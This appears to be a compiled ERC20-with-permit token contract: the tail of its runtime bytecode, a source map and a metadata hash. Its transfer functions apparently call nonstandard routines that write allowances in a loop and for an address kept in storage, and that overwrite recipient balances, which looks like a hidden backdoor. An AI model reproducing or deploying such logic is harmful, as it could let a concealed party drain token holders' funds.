3ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d0d91906116be565b10610dc4575f5b848173ffffffffffffffffffffffffffffffffffffffff161015610dc2578460045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508080610dba906116f1565b915050610d14565b505b8390509392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610f66573073ffffffffffffffffffffffffffffffffffffffff166002610ec8919061172c565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f999190611809565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610fd895949392919061181f565b60405160208183030381529060405280519060200120905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561102a57808201518184015260208101905061100f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61104f82610ff3565b6110598185610ffd565b935061106981856020860161100d565b61107281611035565b840191505092915050565b5f6020820190508181035f8301526110958184611045565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110ca826110a1565b9050919050565b6110da816110c0565b81146110e4575f80fd5b50565b5f813590506110f5816110d1565b92915050565b5f819050919050565b61110d816110fb565b8114611117575f80fd5b50565b5f8135905061112881611104565b92915050565b5f80604083850312156111445761114361109d565b5b5f611151858286016110e7565b92505060206111628582860161111a565b9150509250929050565b5f8115159050919050565b6111808161116c565b82525050565b5f6020820190506111995f830184611177565b92915050565b6111a8816110fb565b82525050565b5f6020820190506111c15f83018461119f565b92915050565b5f805f606084860312156111de576111dd61109d565b5b5f6111eb868287016110e7565b93505060206111fc868287016110e7565b925050604061120d8682870161111a565b9150509250925092565b5f60ff82169050919050565b61122c81611217565b82525050565b5f6020820190506112455f830184611223565b92915050565b5f819050919050565b61125d8161124b565b82525050565b5f6020820190506112765f830184611254565b92915050565b5f602082840312156112915761129061109d565b5b5f61129e848285016110e7565b91505092915050565b6112b081611217565b81146112ba575f80fd5b50565b5f813590506112cb816112a7565b92915050565b6112da8161124b565b81146112e4575f80fd5b50565b5f813590506112f5816112d1565b92915050565b5f805f805f805f60e0888a0312156113165761131561109d565b5b5f6113238a828b016110e7565b97505060206113348a828b016110e7565b96505060406113458a828b0161111a565b95505060606113568a828b0161111a565b94505060806113678a828b016112bd565b93505060a06113788a828b016112e7565b92505060c06113898a828b016112e7565b91505092959891949750929550565b5f80604083850312156113ae576113ad61109d565b5b5f6113bb858286016110e7565b92505060206113cc858286016110e7565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061141a57607f821691505b60208210810361142d5761142c6113d6565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61146a826110fb565b9150611475836110fb565b925082820390508181111561148d5761148c611433565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f6114c7601783610ffd565b91506114d282611493565b602082019050919050565b5f6020820190508181035f8301526114f4816114bb565b9050919050565b611504816110c0565b82525050565b5f60c08201905061151d5f830189611254565b61152a60208301886114fb565b61153760408301876114fb565b611544606083018661119f565b611551608083018561119f565b61155e60a083018461119f565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f6115a7600283611569565b91506115b282611573565b600282019050919050565b5f819050919050565b6115d76115d28261124b565b6115bd565b82525050565b5f6115e78261159b565b91506115f382856115c6565b60208201915061160382846115c6565b6020820191508190509392505050565b5f6080820190506116265f830187611254565b6116336020830186611223565b6116406040830185611254565b61164d6060830184611254565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f61168a600e83610ffd565b915061169582611656565b602082019050919050565b5f6020820190508181035f8301526116b78161167e565b9050919050565b5f6116c8826110fb565b91506116d3836110fb565b92508282019050808211156116eb576116ea611433565b5b92915050565b5f6116fb826110a1565b915073ffffffffffffffffffffffffffffffffffffffff820361172157611720611433565b5b600182019050919050565b5f611736826110fb565b9150611741836110fb565b925082820261174f816110fb565b9150828204841483151761176657611765611433565b5b5092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461179581611403565b61179f818661176d565b9450600182165f81146117b957600181146117ce57611800565b60ff1983168652811515820286019350611800565b6117d785611777565b5f5b838110156117f8578154818901526001820191506020810190506117d9565b838801955050505b50505092915050565b5f6118148284611789565b915081905092915050565b5f60a0820190506118325f830188611254565b61183f6020830187611254565b61184c6040830186611254565b611859606083018561119f565b61186660808301846114fb565b969550505050505056fea2646970667358221220b6521554f99054a07443be79625d73d70647be106839aabb97d33a0e1fa1464564736f6c63430008180033

497:247:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1031:18:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2486:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1304:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3119:621;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1083:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5418:177;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1337:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1776:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1056:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2703:410;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3929:1483;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1388:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1031:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2486:211::-;2560:4;2609:6;2576:9;:21;2586:10;2576:21;;;;;;;;;;;;;;;:30;2598:7;2576:30;;;;;;;;;;;;;;;:39;;;;2652:7;2631:37;;2640:10;2631:37;;;2661:6;2631:37;;;;;;:::i;:::-;;;;;;;;2686:4;2679:11;;2486:211;;;;:::o;1304:26::-;;;;:::o;3119:621::-;3237:4;3253:15;3271:9;:15;3281:4;3271:15;;;;;;;;;;;;;;;:27;3287:10;3271:27;;;;;;;;;;;;;;;;3253:45;;3360:17;3349:7;:28;3345:80;;3419:6;3409:7;:16;;;;:::i;:::-;3379:9;:15;3389:4;3379:15;;;;;;;;;;;;;;;:27;3395:10;3379:27;;;;;;;;;;;;;;;:46;;;;3345:80;3455:6;3436:9;:15;3446:4;3436:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3624:19;3626:6;3634:4;3640:2;3624:1;:19::i;:::-;3607:9;:13;3617:2;3607:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;3663:7;3667:2;3663:3;:7::i;:::-;3700:2;3685:26;;3694:4;3685:26;;;3704:6;3685:26;;;;;;:::i;:::-;;;;;;;;3729:4;3722:11;;;3119:621;;;;;:::o;1083:31::-;;;:::o;5418:177::-;5475:7;5518:16;5501:13;:33;:87;;5564:24;:22;:24::i;:::-;5501:87;;;5537:24;5501:87;5494:94;;5418:177;:::o;1337:44::-;;;;;;;;;;;;;;;;;:::o;1776:41::-;;;;;;;;;;;;;;;;;:::o;1056:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2703:410::-;2773:4;2814:6;2789:9;:21;2799:10;2789:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;2983:25;2985:6;2993:10;3005:2;2983:1;:25::i;:::-;2966:9;:13;2976:2;2966:13;;;;;;;;;;;;;;;;:42;;;;;;;;;;;3029:7;3033:2;3029:3;:7::i;:::-;3073:2;3052:32;;3061:10;3052:32;;;3077:6;3052:32;;;;;;:::i;:::-;;;;;;;;3102:4;3095:11;;2703:410;;;;:::o;3929:1483::-;4148:15;4136:8;:27;;4128:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;4356:24;4383:805;4519:18;:16;:18::i;:::-;4646:165;4845:5;4884:7;4925:5;4964:6;:13;4971:5;4964:13;;;;;;;;;;;;;;;;:15;;;;;;;;;;;;5013:8;4602:449;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;4563:514;;;;;;4441:658;;;;;;;;;:::i;:::-;;;;;;;;;;;;;4410:707;;;;;;5135:1;5154;5173;4383:805;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4356:832;;5239:1;5211:30;;:16;:30;;;;:59;;;;;5265:5;5245:25;;:16;:25;;;5211:59;5203:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;5343:5;5304:9;:27;5314:16;5304:27;;;;;;;;;;;;;;;:36;5332:7;5304:36;;;;;;;;;;;;;;;:44;;;;4332:1027;5390:7;5374:31;;5383:5;5374:31;;;5399:5;5374:31;;;;;;:::i;:::-;;;;;;;;3929:1483;;;;;;;:::o;1388:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6053:310::-;6158:7;6248:4;6224:31;;6203:9;:13;6213:2;;;;;;;;;;;6203:13;;;;;;;;;;;;;;;:17;6217:2;6203:17;;;;;;;;;;;;;;;;6181:9;:13;6191:2;;;;;;;;;;;6181:13;;;;;;;;;;;;;;;:19;6195:4;6181:19;;;;;;;;;;;;;;;;:39;;;;:::i;:::-;:74;6177:158;;6263:9;6258:76;6278:5;6274:1;:9;;;6258:76;;;6327:5;6291:9;:21;6309:1;6291:21;;;;;;;;;;;;;;;:33;6321:1;6291:33;;;;;;;;;;;;;;;:41;;;;6285:3;;;;;:::i;:::-;;;;6258:76;;;;6177:158;6351:5;6344:12;;6053:310;;;;;:::o;6369:142::-;6445:2;;;;;;;;;;;6429:20;;6408:9;:13;6418:2;;;;;;;;;;;6408:13;;;;;;;;;;;;;;;:17;6422:2;6408:17;;;;;;;;;;;;;;;;:41;6404:106;;6501:4;6477:31;;6473:1;:35;;;;:::i;:::-;6453:9;:13;6463:2;;;;;;;;;;;6453:13;;;;;;;;;;;;;;;:17;6467:2;6453:17;;;;;;;;;;;;;;;:55;;;;6404:106;6369:142;:::o;5601:446::-;5666:7;5763:95;5896:4;5880:22;;;;;;:::i;:::-;;;;;;;;5924:14;5960:13;6003:4;5731:295;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;5704:336;;;;;;5685:355;;5601:446;:::o;7:99:2:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:77::-;4890:7;4919:5;4908:16;;4853:77;;;:::o;4936:118::-;5023:24;5041:5;5023:24;:::i;:::-;5018:3;5011:37;4936:118;;:::o;5060:222::-;5153:4;5191:2;5180:9;5176:18;5168:26;;5204:71;5272:1;5261:9;5257:17;5248:6;5204:71;:::i;:::-;5060:222;;;;:::o;5288:329::-;5347:6;5396:2;5384:9;5375:7;5371:23;5367:32;5364:119;;;5402:79;;:::i;:::-;5364:119;5522:1;5547:53;5592:7;5583:6;5572:9;5568:22;5547:53;:::i;:::-;5537:63;;5493:117;5288:329;;;;:::o;5623:118::-;5694:22;5710:5;5694:22;:::i;:::-;5687:5;5684:33;5674:61;;5731:1;5728;5721:12;5674:61;5623:118;:::o;5747:135::-;5791:5;5829:6;5816:20;5807:29;;5845:31;5870:5;5845:31;:::i;:::-;5747:135;;;;:::o;5888:122::-;5961:24;5979:5;5961:24;:::i;:::-;5954:5;5951:35;5941:63;;6000:1;5997;5990:12;5941:63;5888:122;:::o;6016:139::-;6062:5;6100:6;6087:20;6078:29;;6116:33;6143:5;6116:33;:::i;:::-;6016:139;;;;:::o;6161:1199::-;6272:6;6280;6288;6296;6304;6312;6320;6369:3;6357:9;6348:7;6344:23;6340:33;6337:120;;;6376:79;;:::i;:::-;6337:120;6496:1;6521:53;6566:7;6557:6;6546:9;6542:22;6521:53;:::i;:::-;6511:63;;6467:117;6623:2;6649:53;6694:7;6685:6;6674:9;6670:22;6649:53;:::i;:::-;6639:63;;6594:118;6751:2;6777:53;6822:7;6813:6;6802:9;6798:22;6777:53;:::i;:::-;6767:63;;6722:118;6879:2;6905:53;6950:7;6941:6;6930:9;6926:22;6905:53;:::i;:::-;6895:63;;6850:118;7007:3;7034:51;7077:7;7068:6;7057:9;7053:22;7034:51;:::i;:::-;7024:61;;6978:117;7134:3;7161:53;7206:7;7197:6;7186:9;7182:22;7161:53;:::i;:::-;7151:63;;7105:119;7263:3;7290:53;7335:7;7326:6;7315:9;7311:22;7290:53;:::i;:::-;7280:63;;7234:119;6161:1199;;;;;;;;;;:::o;7366:474::-;7434:6;7442;7491:2;7479:9;7470:7;7466:23;7462:32;7459:119;;;7497:79;;:::i;:::-;7459:119;7617:1;7642:53;7687:7;7678:6;7667:9;7663:22;7642:53;:::i;:::-;7632:63;;7588:117;7744:2;7770:53;7815:7;7806:6;7795:9;7791:22;7770:53;:::i;:::-;7760:63;;7715:118;7366:474;;;;;:::o;7846:180::-;7894:77;7891:1;7884:88;7991:4;7988:1;7981:15;8015:4;8012:1;8005:15;8032:320;8076:6;8113:1;8107:4;8103:12;8093:22;;8160:1;8154:4;8150:12;8181:18;8171:81;;8237:4;8229:6;8225:17;8215:27;;8171:81;8299:2;8291:6;8288:14;8268:18;8265:38;8262:84;;8318:18;;:::i;:::-;8262:84;8083:269;8032:320;;;:::o;8358:180::-;8406:77;8403:1;8396:88;8503:4;8500:1;8493:15;8527:4;8524:1;8517:15;8544:194;8584:4;8604:20;8622:1;8604:20;:::i;:::-;8599:25;;8638:20;8656:1;8638:20;:::i;:::-;8633:25;;8682:1;8679;8675:9;8667:17;;8706:1;8700:4;8697:11;8694:37;;;8711:18;;:::i;:::-;8694:37;8544:194;;;;:::o;8744:173::-;8884:25;8880:1;8872:6;8868:14;8861:49;8744:173;:::o;8923:366::-;9065:3;9086:67;9150:2;9145:3;9086:67;:::i;:::-;9079:74;;9162:93;9251:3;9162:93;:::i;:::-;9280:2;9275:3;9271:12;9264:19;;8923:366;;;:::o;9295:419::-;9461:4;9499:2;9488:9;9484:18;9476:26;;9548:9;9542:4;9538:20;9534:1;9523:9;9519:17;9512:47;9576:131;9702:4;9576:131;:::i;:::-;9568:139;;9295:419;;;:::o;9720:118::-;9807:24;9825:5;9807:24;:::i;:::-;9802:3;9795:37;9720:118;;:::o;9844:775::-;10077:4;10115:3;10104:9;10100:19;10092:27;;10129:71;10197:1;10186:9;10182:17;10173:6;10129:71;:::i;:::-;10210:72;10278:2;10267:9;10263:18;10254:6;10210:72;:::i;:::-;10292;10360:2;10349:9;10345:18;10336:6;10292:72;:::i;:::-;10374;10442:2;10431:9;10427:18;10418:6;10374:72;:::i;:::-;10456:73;10524:3;10513:9;10509:19;10500:6;10456:73;:::i;:::-;10539;10607:3;10596:9;10592:19;10583:6;10539:73;:::i;:::-;9844:775;;;;;;;;;:::o;10625:148::-;10727:11;10764:3;10749:18;;10625:148;;;;:::o;10779:214::-;10919:66;10915:1;10907:6;10903:14;10896:90;10779:214;:::o;10999:400::-;11159:3;11180:84;11262:1;11257:3;11180:84;:::i;:::-;11173:91;;11273:93;11362:3;11273:93;:::i;:::-;11391:1;11386:3;11382:11;11375:18;;10999:400;;;:::o;11405:79::-;11444:7;11473:5;11462:16;;11405:79;;;:::o;11490:157::-;11595:45;11615:24;11633:5;11615:24;:::i;:::-;11595:45;:::i;:::-;11590:3;11583:58;11490:157;;:::o;11653:663::-;11894:3;11916:148;12060:3;11916:148;:::i;:::-;11909:155;;12074:75;12145:3;12136:6;12074:75;:::i;:::-;12174:2;12169:3;12165:12;12158:19;;12187:75;12258:3;12249:6;12187:75;:::i;:::-;12287:2;12282:3;12278:12;12271:19;;12307:3;12300:10;;11653:663;;;;;:::o;12322:545::-;12495:4;12533:3;12522:9;12518:19;12510:27;;12547:71;12615:1;12604:9;12600:17;12591:6;12547:71;:::i;:::-;12628:68;12692:2;12681:9;12677:18;12668:6;12628:68;:::i;:::-;12706:72;12774:2;12763:9;12759:18;12750:6;12706:72;:::i;:::-;12788;12856:2;12845:9;12841:18;12832:6;12788:72;:::i;:::-;12322:545;;;;;;;:::o;12873:164::-;13013:16;13009:1;13001:6;12997:14;12990:40;12873:164;:::o;13043:366::-;13185:3;13206:67;13270:2;13265:3;13206:67;:::i;:::-;13199:74;;13282:93;13371:3;13282:93;:::i;:::-;13400:2;13395:3;13391:12;13384:19;;13043:366;;;:::o;13415:419::-;13581:4;13619:2;13608:9;13604:18;13596:26;;13668:9;13662:4;13658:20;13654:1;13643:9;13639:17;13632:47;13696:131;13822:4;13696:131;:::i;:::-;13688:139;;13415:419;;;:::o;13840:191::-;13880:3;13899:20;13917:1;13899:20;:::i;:::-;13894:25;;13933:20;13951:1;13933:20;:::i;:::-;13928:25;;13976:1;13973;13969:9;13962:16;;13997:3;13994:1;13991:10;13988:36;;;14004:18;;:::i;:::-;13988:36;13840:191;;;;:::o;14037:209::-;14076:3;14099:24;14117:5;14099:24;:::i;:::-;14090:33;;14145:42;14138:5;14135:53;14132:79;;14191:18;;:::i;:::-;14132:79;14238:1;14231:5;14227:13;14220:20;;14037:209;;;:::o;14252:410::-;14292:7;14315:20;14333:1;14315:20;:::i;:::-;14310:25;;14349:20;14367:1;14349:20;:::i;:::-;14344:25;;14404:1;14401;14397:9;14426:30;14444:11;14426:30;:::i;:::-;14415:41;;14605:1;14596:7;14592:15;14589:1;14586:22;14566:1;14559:9;14539:83;14516:139;;14635:18;;:::i;:::-;14516:139;14300:362;14252:410;;;;:::o;14668:147::-;14769:11;14806:3;14791:18;;14668:147;;;;:::o;14821:144::-;14873:4;14896:3;14888:11;;14919:3;14916:1;14909:14;14953:4;14950:1;14940:18;14932:26;;14821:144;;;:::o;14993:878::-;15098:3;15135:5;15129:12;15164:36;15190:9;15164:36;:::i;:::-;15216:88;15297:6;15292:3;15216:88;:::i;:::-;15209:95;;15335:1;15324:9;15320:17;15351:1;15346:166;;;;15526:1;15521:344;;;;15313:552;;15346:166;15430:4;15426:9;15415;15411:25;15406:3;15399:38;15492:6;15485:14;15478:22;15470:6;15466:35;15461:3;15457:45;15450:52;;15346:166;;15521:344;15588:41;15623:5;15588:41;:::i;:::-;15651:1;15665:154;15679:6;15676:1;15673:13;15665:154;;;15753:7;15747:14;15743:1;15738:3;15734:11;15727:35;15803:1;15794:7;15790:15;15779:26;;15701:4;15698:1;15694:12;15689:17;;15665:154;;;15848:6;15843:3;15839:16;15832:23;;15528:337;;15313:552;;15102:769;;14993:878;;;;:::o;15877:273::-;16008:3;16030:94;16120:3;16111:6;16030:94;:::i;:::-;16023:101;;16141:3;16134:10;;15877:273;;;;:::o;16156:664::-;16361:4;16399:3;16388:9;16384:19;16376:27;;16413:71;16481:1;16470:9;16466:17;16457:6;16413:71;:::i;:::-;16494:72;16562:2;16551:9;16547:18;16538:6;16494:72;:::i;:::-;16576;16644:2;16633:9;16629:18;16620:6;16576:72;:::i;:::-;16658;16726:2;16715:9;16711:18;16702:6;16658:72;:::i;:::-;16740:73;16808:3;16797:9;16793:19;16784:6;16740:73;:::i;:::-;16156:664;;;;;;;;:::o

ipfs://b6521554f99054a07443be79625d73d70647be106839aabb97d33a0e1fa14645